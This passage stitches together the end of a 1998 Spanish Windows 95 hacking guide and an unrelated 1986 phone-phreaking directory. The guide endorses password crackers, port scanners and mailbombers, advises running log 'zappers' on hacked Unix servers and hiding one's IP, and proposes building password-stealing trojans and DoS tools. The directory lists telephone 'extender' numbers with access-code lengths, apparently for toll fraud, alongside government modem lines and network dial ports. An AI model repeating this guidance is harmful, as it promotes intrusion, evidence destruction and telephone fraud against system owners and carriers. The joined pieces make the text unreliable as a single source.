Este sencillo programa nos sera de gran ayuda para enviar mail anonimo.  Cuando ejecutemos el programa nos saldra una ventana con los siguientes campos:

Host

From

To

Subject

Solo tenemos que rellenarlos correctamente y pulsar el “send” para enviar el mail anonimo y cuando hayamos acabado pulsar “quit”.

Un programa muy sencillo que nos puede ser util. Como nota, el autor nos advierte que nadie le envie mail anonimo con su programa, por lo que se puede deducir que es un farol o que el programa no es tan anonimo, por lo que el autor le habra metido un troyano.

5k. Hacker’s Utility, V 1.02.

Este magnifico programa es una suite para Hackers. Para que nos entendamos, este programa esta compuesto por muchos otros programas y asi dispones de un paquete perfecto para un Hacker.

Cuando ejecutamos este programa nos aparecera una ventana con un menu arriba, y cuando abramos una de estas opciones se abrira otra ventana con mas opciones. Ahora podemos ver el menu principal compuesto por los submenus:

File -> HU setup, exit

Cracking -> crack passwords -> crack zip passwords

crack passwd files

passwd jackpot

words prcessing -> words wizard

xtrakt words

sort

 

Tools -> create & fill a dummy fill, compare binary files

Network -> finger, port scanner, ip <> name converter

Other Stuff -> hackers’s test, serial numbers, extracting/ripping sound

files, extracting/ripping graphic files, manual extract/

rip files

System -> dos prompt, run custom application, shut down

Window -> cascade, tile horizontal, tile vertical, arrange icons,

main toolbar, main status bar

Help -> tip of day, index, using help, about Hacker’s Utility

La verdad es que esta suite esta muy completa y nos sera de gran ayuda. Por ejemplo el sistema se puede configurar en File->HU setup para que sea mas personal. Cabe destacar ciertas utilidades como los crackeadores que tiene incorporados para crackear el passwd de un Unix o romper el password de un fichero zip. Luego en la seccion de Network, las utilidades nos seran de mucha ayuda, como el Finger, el scaneador de puertos y el convertidor de direcciones IP. Esto en mi opion seria lo mejor del programa pero luego trae otras cosas que tambien nos pueden servir para al menos divertinos un rato, esto es el caso del Hacker’s Test, por ejemplo podemos activar el Port Scanner y mientras esperamos a los resultados podemos hacer un test para saber si somos buenos Hackers.

La verdad es que es una magnifica herramienta que los Hackers de win deben tener.

5l. Haktek v1.1.

AL igual que el HU, Haktek, es una suite que tambien nos sera de gran ayuda. Pero esta suite esta mas enfocada a atacar por Internet, logicamente con el peligro que ello conlleva.

Al ejecutar el programa, se abrira una ventana en la que veremos una serie de iconos en la parte izquierda de la ventana y una pantalla de texto que nos explica cada icono. Empezando de arriba para abajo:

Diskette-> graba la sesion (lo que esta en pantalla y lo que hallamos hecho

con el programa).

X -> prepara la sesion, borrando la pantalla de texto.

? -> nos habla sobre sus autores.

Circulo -> se¤alos un objetivo, por defecto www.microsoft.com.

Antena -> Utilidad ping.

Gafas -> scaneador de puertos.

Bomba -> bombardeador de correo.

Stop bomb -> para protegernos de un mailbomber.

Radio -> scaneador de IP’S.

Prismaticos -> para enviar finger nulos.

La verdad es que es una suite muy completa y nos ayudara a joder a todo el que se ponga por delante. Con un poco de practica dominaremos este programa a la perfeccion.

5m. Claymore Brute Force.

Esta utlidad no sera de gran ayuda para desemcriptar passowrd’s de un fichero passwd de Unix. Cuando lo ejecutemos se abrira una ventana con varias opciones, de facil manejo, para aquellos que quieren algo simple y corriendo sobre win95. Este crackeador es de fuerza bruta pudiendo ser algo lento.

6.   Medidas De Seguridad.

 

En esta seccion hablare sobre varios aspectos muy importanes, logicamente

la seguridad personal, de nuestro ordenador, etc… Para que nadie pueda

jodernos aunque nos movamos por Win95.

6a. Protegiendo Nuestro Ordenador.

Nuestro ordenador corriendo con Win95, sera propenso a muchos tipos de ataques diferentes. Por ello conviene estar preparado y sobre estar alerta sobre las nuevas cosas que surgen por el mundo Underground, el mejor medio son los e-zines y por supuesto buenos amigos por el IRC.

6a1. Ataques Tipicos a Nuestro Windows.

Logicamente seremos muy propensos a ataques tipo DoS (denial of service), como son el LAND, BONK, TEARDROP y por supuesto los famosos nukes, OOB, etc …

Para estar protegidos lo que tenemos que hacer es pasarnos por los web’s de seguridad o el de la casa Microsoft en los cuales se cuelgan los parches de estos ataques. No siempre funcioran pero nos ahorraran muchos disgustos en muchos casos. La gente suele ser muy propensa a estas cosas porque no esta informada sobre estos ataques y por consiguinte ademas no se instala los parches correspondientes.

6a2. Encriptacion de Nuestra Informacion.

La informacion sensible que tengamos en nuestro disco duro conviene que este encriptada con algun buen programa de encriptacion del tipo PGP, el cual no puede ser roto en estos tiempos.

Tambien podemos hacer uso de la Stereografia, el arte de ocultar la informacion. Hay varios programas en Internet que nos permiten esconder ficheros de txt en ficheros graficos o de sonido, por supuesto habra que tener cuidado cuando hacemos estas operaciones, debido a la diferencia de formatos entre los ficheros.

Incluso podemos encriptar todo o parte del disco duro para mayor seguridad en nuestros datos.

6a3. Eliminar Informacion De Forma Segura.

Cuando borramos un fichero del disco duro, realmente no esta borrado, por lo que puede ser rescatado mediante herramientas especiales. Esto no es conveniente si por el caso nuestro ordenador cae en malos manos y nos ha dado tiempo a borrar algunos ficheros, no serviria de nada ya que podrian recuperar la informacion.

Para borrar ficheros que contegan informacion muy privada o no queremos que nadie la pueda obtener, conviene borrar este fichero mediante algun programa especial para el borrado de ficheros. Existen por Internet programas muy buenos para ello o tambien podemos leernos un fichero sobre este tema, de recomendable lectura:

Secure Deletion of Data from Magnetic and Solid-State Memory

Peter Gutmann

Department of Computer Science

University of Auckland

pgut001@cs.auckland.ac.nz

 

6a4. Eliminacion De Virus.

Los virus son una de las peores pesadillas, pero en realidad no entiendo porque, ya que son solo programas. Y no son dificiles de controlar. Solo conviene tener un buen antivirus o varios, si, tambien los hay por internet a patadas y gratis.

Incluso muchos virus se pueden anular mediante un par de comandos del MS-DOS, es simplemente conocer un poco los virus, logicamente se sale de la tematica de esta guia. Pero la realidad es que no hay que tener miedo de los virus. Si nuestro ordenador esta infectado, lo primero que tenemos que hacer es calmarnos, luego hacer una copia de seguridad de nuestro disco duro (da igual si esta infectado), por si el virus, en el peor de los casos borra el disco duro y ahora buscar una vacuna disponible.

Si fuese el caso que nuestro antivirus no quita el virus, pues simplemente hacemos una copia y lo enviamos a alguna empresa sobre seguridad informatica ya que seguro que nos sacan un antivirus.

6b. Protegiendo Nuestras Acciones.

Esta seccion esta enfocada a esconder nuestros actos hacking por Internet.  Ya que todo lo que hagamos dejaremos huellas y por desgracia la gente no se entera de esto y deja muchas pistas.

6b1. Borrando Nuestras Huellas.

Cuando conectamos a un servidor, este graba lo que hacemos (cuando hemos conectado, como, desde donde y varias cosas mas), por eso hay que tener mucho cuidado.

La mayoria de servidores que hackeemos por Internet seran unix, conviene tener a mano “zappers”, son programas que borran nuestras huellas en el servidor. Existen muchos programas para este proposito que funcionan bajo Unix. Solo los tenemos que compilar en el servidor y ejecutarlos. Por desgracia al usar Win95 no podemos compilarlos en nuestro ordenador y subirlo por FTP pero algo es algo.

Tambien tenemos que procurar esconder nuestra IP, hay muchos metodos para ello, la mas facil es usar nodos (servidores intermedios y asi dificultar nuestro rastreo).

6b2. Encriptando Nuestro Correo.

Conviene encriptar nuestro correo, sobre todo si esta relacionado con el hacking, ya que asi nadie podra saber que pone y acusarnos de nada. Siempre podemos alegar “Privacidad en los Datos” :). Al igual que antes hay varios paquetes de PGP para mail.

Incluso es recomendable el uso de cuentas anomimas de correo, aunque de esto la gente esta mas concenciada.

7.   Sugerencias Para Un Mejor Hacking.

 

Aqui hablare sobre algunas ideas que pueden potenciar el hacking en

Win95 y la creacion de nuevas herramientas.

  • Programas troyanos que capturen el password del acceso a Internet.
  • Programas para IP-Spoof.
  • Creacion de herramientas de redes para Win95.
  • Wardialers.
  • Programas para atacar otros Win95 (DoS).
  • Nuevas Suites.
  • Programas crackeadores del passwd.
  • Programas criptograficos.
  • Programas eliminadores.

 

8.   Obtener Informacion.

 

Todo el mundo esta harto de ver cientos de web’s donde no hay nada o

todo esta repetido. Pues ahora os pondre unas pautas que seguir para

obtener la mayor fuente posible de informacion.

  • Web’s sobre hack (que decir).
  • Web’s sobre seguridad Informatica (aqui siempre podemos encontrar muchas cosas, que nos podran servir).
  • Los RFC (Informacion tecnica sobre Internet, protocolos, seguridad, etc…).
  • Libros de colores (Documentacion tecnica sobre seguridad en muchos aspectos).
  • News (estar en un grupo de news y asi recibir noticias de lo que pasa).
  • Mailing lists (aqui estaremos permanentemente informados).
  • IRC (podremos hablar con otros hackers y cambiar opiniones).

 

9.   Despedida.

 

Pues aqui se acaba esta guia sobre hacking en Win95. Espero que os halla

gustado y os sea util, por todo el esfuerzo que ha llevado esta guia.

Por desgracia me he dejado muchas cosas en el tintero, que me hubiese gustado explicar pero quien sabe a lo mejor aperece una nueva entrega nunca se sabe 🙂

Me gustaria descatar que a lo mejor con los ultimos puntos de la guia, te has quedado sorprendido respecto a su titulo y despues al ver su contenido, esto se debe a que he preferido dar pautas a seguir y no empezar a explicar cosas que ya muchos sabran o que es informacion realmente facil de encontrar por Internet, ademas si empiezo a explicar algunos de esos titulos me saldria del proposito de esta guia, que es el hacking en Win95 y NO de otros sistemas operativos los cuales disponen de miles de guias sobre hacking.

Bueno ya solo me queda despedirme y tened cuidado con lo que haces por Internet, ya que un hacker no se dedica a destruir sistemas informaticos.  Y agradecer a todos los que hallan escrito sus conocimientos sobre hack en win95 para la creacion de esta guia!!!.

9a. Agradecimientos.

Y desde aqui saludar a todos aquellos que de alguna forma han participado en la creacion de esta guia.

  • Muerte: Por su articulo de recursos compartidos.
  • Pipero: Por su articulo de recursos compartidos.

 

<><><><><><><><><><><><><><><><><><><><><><><><><>

 

Y desde aqui saludar a toda la pe¤a de #hackers, #hack & #rejoin!!!!!!

Grupos como – J.J.F. / HACKERS TEAM -, CYBERHACK, WAKANDA, UNDERHACK, @pOkalypSYS y por supuesto todos los demas !!

Y por supuesto: Bisho, Meroka, Folixia, Fragel, Ipgh0st, Metalslug, Dillet, Riddle, Hadden, Guybrush, Tdp, Virux, Cy, Angelipas, S_guy, Xus, Unix-hell, Piotr, Muerte, Koji, Riddle, Case Zero, Nadia, Amanada, Janex, L.A. y todos los que me dejo 🙂

NOBODY © 1998.

 

===================================================

[>        HACKERS DIRECTORY  VOLUME #1           <]

[> COMPLIED FOR YOU BY:  HACKER SUPREME MEMBERS, <]

[>      NINJA SQUIRREL /+\, and LOGAN – 5        <]

 

[ Hack Copyright: Hacker Supreme 1986 ]

 

Chapter 1:

1-800- EXTENDER NUMBERS.

  • NUMBER—–CODE LENGTH—NUMBER         CODE LENGTH

 

325-7222             6?   621-4611             ?

245-4890             4    325-3075             ?

327-6713             4    521-1674             4

243-7650             6    527-3511             8

328-7112             4    336-6000             ?

621-2361             ?    321-0327             4

654-8494             6    321-0845             6

323-8126             ?    843-0698             9

327-9895             7    221-8190             4

327-9136             4    543-7168             8

227-3414             4    521-8400             8

241-3862             ?    221-1950             ?

682-4000             6    327-2731             6

343-1844             4    547-6754             6

858-9000             3    252-5879             8

462-6471             5    345-0008             7

621-1506             ?    245-7508             5

242-1122             ?    526-5303             8

322-1415             6    323-3027             6

547-2030            10    547-6754             6

322-1415             6    685-6649             5

345-0008             6    968-0700             6

547-1784             ?    323-8126             ?

521-8000             ?     743-7481             ?

 

221-1950,8190,5670,5430,5665

223-7854,  243 7854

255-2255,

327-0005,0326,2703,6713,9136,9895

547-6754,  237-2618

 

Local extender numbers:

206-623-2710          6

 

 

Chapter 2:

Goverment #s:

  • Number-          -Name-

202-697-0101      DEFENCE DEPT.

697-0814      PENTAGON COMPUTER

553-0229          “        “

694-0004          “        “

456-1414      PRES. REGAN SECRATARY.

456-4639      NANCY REAGAN’S SECRATARY

347-8542      WHITE HOUSE’S GUEST HOUSE

 

976 #S  (206 AREA:)

1414 – ROCK INFO     1212 – MUPPETS STORY          1234 – CAPTIAN KC STORY

3131 – STORY LINE    5233 – DIAL A JOKE            1616 – DAIL TIME & TEMP.

2020 – DIAL A DIET   2345 – HORSE RACE RESULTS     5555 – MARINERS (BB) TRIVIA

2500 – MIKE JACKSON  3030 – ROCK TRIVIA GAME       8336 – TEEN TROUBLES

7575 – NBC (TV)      7878 – ABC (TV)               7979 – CBS (TV)

TV SOAPS:

8080 – GENERAL HOSPITAL        8181 – ALL MY CHILDREN

8282 – YOUNG AND THE RESTLESS  8383 – ONE LIFE TO LIVE

8484 – AS THE WORLD TURNS      8585 – GUIDING LIGHT

8686 – DAYS OF OUR LIVES       8787 – ANOTHER WORLD

HORASCOPES:

1200 – ARIES         1300 – TAURUS       1400 – GEMNI

1500 – CANCER        1600 – LEO          1700 – VIRGO

1800 – LIBRA         1900 – SCORPIO      2000 – SAGITTARIUS

2100 – AQUARIOUS     2200 – PIECES

3333 – DIAL JEAN DIXON                   7827 – DIAL SYDNEY OMARR.

 

OTHER 976 #S:

213 – 976 – 9191     FREE PHONE SEX

213 – 976 – 7883     FREE PHONE SEX (FOR WOMEN)

415 – 976 – 9696     FREE PHONE SEX

415 – 976 – 9696     FREE PHONE SEX

[> PHUN AND INTERESTING NUMBERS.

Toll Free White House         800-424-9096

Ronald Reagan                 202-456-1414

Defense Hotline               800-424-9098

Watergate                     202-965-2900

Jerry Brown                   916-445-2864

Howard Baker                  800-368-5693

White House Switch            202-456-1414

Nancy Reagon                  202-456-4639

Reagon’s Secretary            202-456-7639

The guest House               202-347-8542

Pentagon’s modem              202-694-0004

Nuclear Commision             404-221-5519

Navy Finance Center           800-321-1082

Import Bank                   800-424-5201

Alcohol and Tobbacco          800-523-0677

Fed info center               800-523-1556

Combat arms center            800-325-4072

E.P.A.                        202-343-1100

Synthesisor Music             405-843-7396

Dial-a-poem                   213-888-7636

Satanic message service       213-571-6523

New York Line Feed            212-526-1111

ABC Line Feed                 212-799-5017

AFL CIO Talk Line             800-368-5744

Inspector General             800-368-5826

Vioce Stat                    800-631-1146

Bell Telemarketing            800-821-2121

Record-a-vioce                800-858-9313

Stock Market Reports          213-541-2462

Lottery Info                  301-667-4280

News for the blind            213-664-3321

Earthquake Report             415-642-2160

Dial-an-athiest               213-254-4914

NASA                          804-865-4051

Visa checking systems         800-228-1111

JC Penny’s                    303-371-1296

1st Nation Bank               202-567-7900

Russian Leader’s office    007-095-2052511

Queen of England           004-41-930-4832

The POPE                   003-96-69-82

UNITED STATES GOVERNMENT 1-800’S

AND OTHER 1-800 NUMBERS.

 

800-321-1082/NAVY FINANCE CTR.

800-424-5201/EXPORT IMPORT BANK

800-523-0677/ALCOHOL TOBACCO AND FIREARMS

800-532-1556/FED INFORMATION CTR

800-325-4072/COMBAT ARMS & SER ENLISTED MOBILIZATION DIV.

800-325-4095/COMBAT SUPPORT BRANCH

800-325-4890/ROPD USAR COMBAT ARMS DIV.

800-432-3960/SOC.SEC.

800-426-5996/PUGET SD. NAVAL SHIPYARD.

 

RECOMENDED READING:

DIRECTORY OF TOLL FREE NUMBERS/BY: RUDOLF F. GRAF/ $4.95  25,000 LISTINGS

 

If you have a question and think the government might

have an answer, mark these toll-free hotline numbers:

 

Report abuses by Department of Defense personnel or contractors doing business

with them.  (800)  4243-9098

Going abroad? ….. Learn what food to stay away from, what to eat and drink, and … immunization shots that are required.

(800)  368-3531

Federal Election Commission (800) 424-9530 Mon-Fri 8:00 AM – 4:30 PM Est.

Medicare/Medicaid Complaints (800)  368-5779 Mon-Fri 8:00 AM – 5:00 PM Est

Acquired Immune Deficiency Syndrome (AIDS) 7:30 AM – 4:30 PM Chicago Time

(800)  324-AIDS

Internal Revenue Service Expert Advice on filling forms (800)  424-1040

Consumer Product Safety Commission, Has a product been recalled?

(800)  638-CPSC

Small-Business related Problems … (800)  368-5855

Product hazards? For recall data and complaints ..(800)  638-2772

On auto-safety queries …(800)  424-9393

Student aid?   Educational Department …(800)  638-6700

For cancer facts …(800)  4-CANCER

Runaway children …(800)  621-4000

Other Hotline Numbers:

Surgery Second Opinion (800)  638-6833  Mon-Fri 8:00 AM – Noon

Guinness Reference Service (800)  327-1284  24 Hours

Order Gold or get info (800)  USA-GOLD

G E Appliances (800)  626-3000

Whirlpool Appliances (800)  253-1301

 

[ DATAPAC PUBLIC DIAL PORTS ]

= DATAPAC 3305 PUBLIC DIAL PORTS =

PROVINCE         CITY             AREA   DIAL PORT #          CODE

 

ALBERTA          CALGARY          (403)  234-7659

EDMONTON         (403)  423-0576

 

MANITOBA         WINNIPEG         (204)  475-1490

 

ONTARIO          TORONTO          (416)  868-4153

OTTAWA           (613)  567-9450

LONDON           (519)  672-5182

HAMILTON         (416)  523-6910

 

NOVA SCOTIA      HALIFAX          (902)  477-4418

 

QUEBEC           MONTREAL         (514)  875-6452

 

BRITISH COLUMBIA VANCOUVER        (604)  683-8702

 

SASKATCHEWAN     REGINA           (306)  565-0100

 

= DATAPAC 3101 PUBLIC DIAL PORTS =

PROVINCE         CITY             AREA   110 BPS   300 BPS   1200 BPS CODE

 

BRITISH COLUMBIA KAMLOOPS         (604)  374-6314  374-5941

KELOWNA          (604)  860-0391  860-0331  860-9762

NELSON           (604)  354-4540  354-4411  354-4824

PRINCE GEORGE    (604)  564-1088  564-4060  562-8469

TERRACE          (604)  635-7359  635-7221

VANCOUVER        (604)            689-8601  687-7144

VICTORIA         (604)  388-4360  388-9300  386-0900

 

ALBERTA          CALGARY          (403)            264-9340  290-0213

EDMONTON         (403)            420-0185  423-4463

FORT MCMURRAY    (403)            791-2884  743-5207

GRANDE PRAIRIE   (403)            539-0100  539-6434

LETHBRIDGE       (403)  329-8797  329-8755  327-2004

MEDICINE HAT     (403)  526-7427  526-6587  529-5521

RED DEER         (403)  343-7374  343-7200  342-2208

 

SASKATCHEWAN     MOOSE JAW        (306)  694-0474  693-7611

PRINCE ALBERT    (306)            922-4233  922-4234

REGINA           (306)            565-0111  565-0181

SASKATOON        (306)  665-6776  665-6660  665-7758

 

MANITOBA         BRANDON          (204)  725-0961  725-0878  727-6609

THOMPSON         (204)            778-4461  778-4451

WINNIPEG         (204)            475-2740  475-2710

 

ONTARIO          BARRIE           (705)            737-4100  737-4120

BELLEVILLE       (613)            966-6002  966-9301

BRAMPTON         (416)            791-8900  791-8950

BRANTFORD        (519)            756-0000  756-0020

BROCKVILLE       (613)            345-0520  345-3780

CHATHAM          (519)            354-7710  354-7716

CLARKSON         (416)            823-6000

CORNWALL         (613)  938-9711  938-9700

GALT             (519)  622-1740  622-1714

GUELPH           (519)  836-7940  836-7930  836-7960

HAMILTON         (416)            523-6800  523-6900

KINGSTON         (613)  549-8620  549-7720  549-7760

KITCHENER – WATERLOO     (519)            579-0009  579-0310

LONDON           (519)            679-7500  679-7620

NIAGRA FALLS     (416)  357-2710  357-2702  357-2770

NORTH BAY        (705)            476-3900  476-3920

OSHAWA           (416)  579-8940  579-8920  579-8950

OTTAWA           (613)            567-9100  567-9300

PETERBOROUGH     (705)  748-6944  748-6940  748-6945

ST. CATHARINES   (416)  688-5650  688-5620  688-5640

SARNIA           (519)            336-9920  336-0950

SAULT ST. MARIE  (705)            942-4960  942-4970

SUDBURY          (705)  673-9654  673-9602  673-9652

THUNDER BAY      (807)  623-6470  623-9644  623-3270

TORONTO          (416)            868-4000  868-4100

WINDSOR          (519)  973-1030  973-1000  973-1020

WOODSTOCK        (519)            485-5220

 

QUEBEC           GRANBY           (514)            375-1240  375-4184

JOLIETTE         (514)            759-8340  759-8381

JONQUIERE-CHICOUTIMI   (418)            545-2272  545-2290

MONTREAL         (514)            878-0450  878-0640

QUEBEC CITY      (418)            647-4690  647-2691

ST. HYACINTHE    (514)            774-9270

ST.JEAN          (514)            346-8779  347-6211

SHERBROOKE       (819)            566-2770  566-2990

TROIS RIVIERES   (819)            373-2600  373-2603

VALLEYFIELD      (514)            377-1260  377-1680

 

NEW BRUNSWICK    BATHURST         (506)            548-4461   548-4581

FREDERICTON      (506)  455-4301  454-9462   454-4525

MONCTON          (506)  388-2276  854-7078   854-7510

SAINT JOHN       (506)            693-7399   642-2231

 

NOVA SCOTIA      BRIDGEWATER      (902)            543-6850  543-1360

AMHERST          (902)            667-5035  667-5297

HALIFAX          (902)            477-2000  477-8000

KENTVILLE        (902)            678-1030  678-2096

NEW GLASGOW      (902)            752-0944  752-1731

SYDNEY           (902)  539-1720  539-7010  539-8040

TRURO            (902)            662-3258  662-3773

 

PRINCE EDWARD ISLAND

CHARLOTTETOWN    (902)            569-3391   569-3784

 

NEWFOUNDLAND     ST. JOHN’S       (709)  726-5525  726-4920   726-5501

 

^ NOTE: DATAPAC INFORMATION CAN BE ACCESSED VIA TELEMAIL INTERNATIONAL BY

KEYING IN THE ‘K’ AND ‘7’ KEYS.

^ NOTE: DATAPAC NEWS CAN BE OBTAINED BY TYPING C 41621D FROM TELENET OR TO GET THE NEWS IN FRENCH, TYPE C 41621F (PHRENCH PHONE PHREAKS!!)

ALSO NOTE THAT THIS ACCESS LISTING WAS OBTAINED THROUGH DATAPAC/TELENET.

 

…………….

.              .

. MISC NUMBERS .

…………….

 

301-736-3070  6-WAY CONFERENCE         7PM – 9PM EASTERN

 

800-344-4001/4002   LOOP LINES

 

212-XXX-9961/9962/9964   LOUD TONE

 

LOOP LINE EXCHANGES

313 AREA CODE

223, 591, 963, 972, 978

 

800-424-9096   WHITE HOUSE SWITCH

800-631-1146   VOICE STAT

800-821-2121   BELL TELEMARKETING

800-858-9313   RECORD-A-VOICE

800-344-4000   MSG SYSTEM

800-321-1424   FLIGHT PLANES

800-621-3026   SPECIAL OPERATOR

800-621-3028   “       “

800-621-3030   “       “

800-621-3035   “       “

800-527-1800   TYMNET

212-526-1111   NEW YORK FEED LINE

202-456-1414   WHITE HOUSE

202-965-2900   WATERGATE

800-368-6900   SKYLINE ORDER LINE

800-438-9428   ITT CITY CALL SWITCHING

916-445-2864   JERRY BROWN

800-424-9090   RONALD REAGAN’S PRESS

212-799-5017   ABC NY FEED LINE

800-248-0151   WHITE HOUSE PRESS

800-882-1061   AT&T STOCK PRICES

206-641-2381   VOICE OF CHESTER

212-986-1660   STOCK QUOTES

914-997-1277   “     “

201-623-0150   “     “

516-794-1707   “     “

512-472-9941   SPECIAL RECORDING

512-472-9936   “       “

512-472-9833   “       “

213-935-1111   HIGH-LOW TONE

512-472-4263   WIERD RECORDING

512-472-2181   “     “

512-472-9936   “     “

512-472-9941   INSERT 25 CENTS

212-976-2727   P.D.A.

619-748-0002   LOOP LINE

619-748-0003   “    “

408-248-8818   1ST NAT’L BANK

800-828-6321   XEROX

800-323-4756   MOTOROLA DITELL

212-557-4455   SEX HOT LINE

212-934-9090   DIAL-AN-IDIOT

516-976-2727   HIGH SOCIETY SEX LINE

 

011-441-930-4832  QUEEN ELIZABETH

203-771-4930   TELEPHONE PIONEERS

301-393-1000   “

213-576-6061   “

512-870-2345   “

404-221-5519   NUCLEAR COMMISSION

213-541-2462   STOCK MARKET REPORTS

312-939-1600   “

505-883-6828   “

301-667-4280   LOTTERY INFO

213-664-3321   NEWS FOR THE BLIND

213-547-6801   NAVY SHIPS INFO

415-642-2160   EARTHQUAKE REPORT

714-346-7673   DIAL-A-TEENAGER

213-254-4914   DIAL-AN-ATHEIST

213-974-6624   DEATH RECORDS INFO

213-974-6621   BIRTH RECORDS INFO

 

OVERSEAS LINES (COURTESY, REDRUM)

OKAY, FOR YOU INTERNATIONAL HACKERS,

HERE YOU GO   =====>

 

44-1-246-8088   CIVIL EMERGENCIES

44-1-246-8030   TELECOM TRAVEL LINE

44-1-246-8031   “

44-1-246-8032   “

44-1-246-8033   “

44-1-246-8020   TELECOM SPORTS REPORT

44-1-246-8060   TELECOM RACING BULLETIN

44-1-246-8017   DIALING INSTRUCTIONS

44-1-246-8000   STARLINE

44-1-246-8035   LONDON RADIO

44-61-166000    STOCK REOPRT

44-61-165000    TV SCHEDULE

44-1-246-8072   VD HOTLINE (YES, EVEN

THE BRITISH GET VD!)

 

Another Great Directory from Hacker Supreme. (Ninja Squirrel /+\, Logan – 5,)

(Zaphod Breeblebox, Silicon Rat, Lord Vision, Crazy Horse.)